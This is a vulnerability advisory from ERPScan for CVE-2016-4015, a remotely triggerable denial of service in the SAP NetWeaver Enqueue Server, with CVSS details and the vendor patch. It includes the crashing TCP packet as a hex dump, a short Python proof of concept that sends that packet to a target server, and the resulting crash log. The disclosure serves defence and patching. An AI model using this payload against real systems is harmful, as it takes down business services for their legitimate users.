SAP NetWeaver Enqueue Server - DoS vulnerability

Application: SAP AS JAVA **Versions Affected:**SAP AS JAVA 7.1 – 7.4 **Vendor URL: **SAP **Bugs:**Denial of Service **Reported:**04.12.2015 **Vendor response: **05.12.2015 **Date of Public Advisory: **12.04.2016 **Reference: **SAP Security Note 2258784 **Author: ** Vahagn Vardanyan (ERPScan)

VULNERABILITY INFORMATION

Class: denial of service
Impact: denial of service
Remotely Exploitable: Yes
Locally Exploitable: No
CVE: CVE-2016-4015

CVSS Information

CVSS v3 Base Score: 7.5 / 10
CVSS v3 Base Vector:

AV: Attack Vector (Related exploit range)	Network (N)
AC: Attack Complexity (Required attack complexity)	Low (L)
PR: Privileges Required (Level of privileges needed to exploit)	None (N)
UI: User Interaction (Required user participation)	None (N)
S: Scope (Change in scope due to impact caused to components beyond the vulnerable component)	Unchanged (U)
C: Impact to Confidentiality	None (N)
I: Impact to Integrity	None (N)
A: Impact to Availability	High (H)

Description

Anonymous attacker can use a special request to cause a denial of service in SAP Enqueue.

Business risk

An attacker can use a Denial of service vulnerability to terminate a process of the vulnerable component. For this time, nobody can use this service, which negatively influences on business processes, system downtime, and business reputation as result.

VULNERABLE PACKAGES

SAP NetWeaver Enqueue Server 7.4
Other versions are probably affected too, but they were not checked.

SOLUTIONS AND WORKAROUNDS

To correct this vulnerability, install SAP Security Note 2258784

TECHNICAL DESCRIPTION

Enqueue Server allows an anonymous attacker to prevent legitimate users from accessing the service, either by crashing or flooding it.

To reproduce this vulnerability, send to Enqueue server the following TCP data

00000000: 00 00 00 59 ab cd e1 23 00 00 00 00 00 00 00 59 |…Y…#…Y| 00000010: 00 00 00 59 f3 a0 81 bb 06 01 00 00 00 00 00 06 |…Y…| 00000020: 00 00 00 00 00 04 00 00 00 00 00 01 00 04 00 00 |…| 00000030: 00 00 00 03 56 61 68 61 67 6e 2d 70 63 5f 35 32 |…Vahagn-pc_52| 00000040: 37 36 5f 30 00 00 00 00 02 00 00 00 3b 00 00 00 |76_0…;…| 00000050: 05 00 00 00 03 00 00 00 06 00 00 00 04 00 00 00 |…| 00000060: 01 |.| PoC import socket poc = “00000059abcde123000000000000005900000059f3a081bb0601000000000006000000000004000000000001000400000000000356616861676e2d70635f353237365f3000000000020000003b0000000500000003000000060000000400000001” for i in range(10): try: sock = socket.socket() sock.connect((SERVER_IP, SERVER_PORT)) sock.send(poc.decode(“hex”)) data = sock.recv(1024) sock.close() except Exception, ex: ex.message Faulting application name: enserver.EXE, version: 7420.28.23.32800, time stamp: 0x547621ad Faulting module name: enserver.EXE, version: 7420.28.23.32800, time stamp: 0x547621ad Exception code: 0xc0000005 Fault offset: 0x000000000001e953 Faulting process id: 0xa14 Faulting application start time: 0x01d0b50f71a9570b Faulting application path: C:\usr\sap\DM0\SCS01\exe\enserver.EXE Faulting module path: C:\usr\sap\DM0\SCS01\exe\enserver.EXE Report Id: b8083bbb-2102-11e5-959f-000c29a7eeb7

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00000000: 00 00 00 59 ab cd e1 23 00 00 00 00 00 00 00 59 |…Y…#…Y|

00000010: 00 00 00 59 f3 a0 81 bb 06 01 00 00 00 00 00 06 |…Y…|

00000020: 00 00 00 00 00 04 00 00 00 00 00 01 00 04 00 00 |…|

00000030: 00 00 00 03 56 61 68 61 67 6e 2d 70 63 5f 35 32 |…Vahagn-pc_52|

00000040: 37 36 5f 30 00 00 00 00 02 00 00 00 3b 00 00 00 |76_0…;…|

00000050: 05 00 00 00 03 00 00 00 06 00 00 00 04 00 00 00 |…|

00000060: 01 |.|

PoC

import socket

poc = “00000059abcde123000000000000005900000059f3a081bb0601000000000006000000000004000000000001000400000000000356616861676e2d70635f353237365f3000000000020000003b0000000500000003000000060000000400000001”

for i in range(10):

try:

sock = socket.socket()

sock.connect((SERVER_IP, SERVER_PORT))

sock.send(poc.decode(“hex”))

data = sock.recv(1024)

sock.close()

except Exception, ex:

ex.message

Faulting application name: enserver.EXE, version: 7420.28.23.32800, time stamp: 0x547621ad

Faulting module name: enserver.EXE, version: 7420.28.23.32800, time stamp: 0x547621ad

Exception code: 0xc0000005

Fault offset: 0x000000000001e953

Faulting process id: 0xa14

Faulting application start time: 0x01d0b50f71a9570b

Faulting application path: C:\usr\sap\DM0\SCS01\exe\enserver.EXE

Faulting module path: C:\usr\sap\DM0\SCS01\exe\enserver.EXE

Report Id: b8083bbb-2102-11e5-959f-000c29a7eeb7

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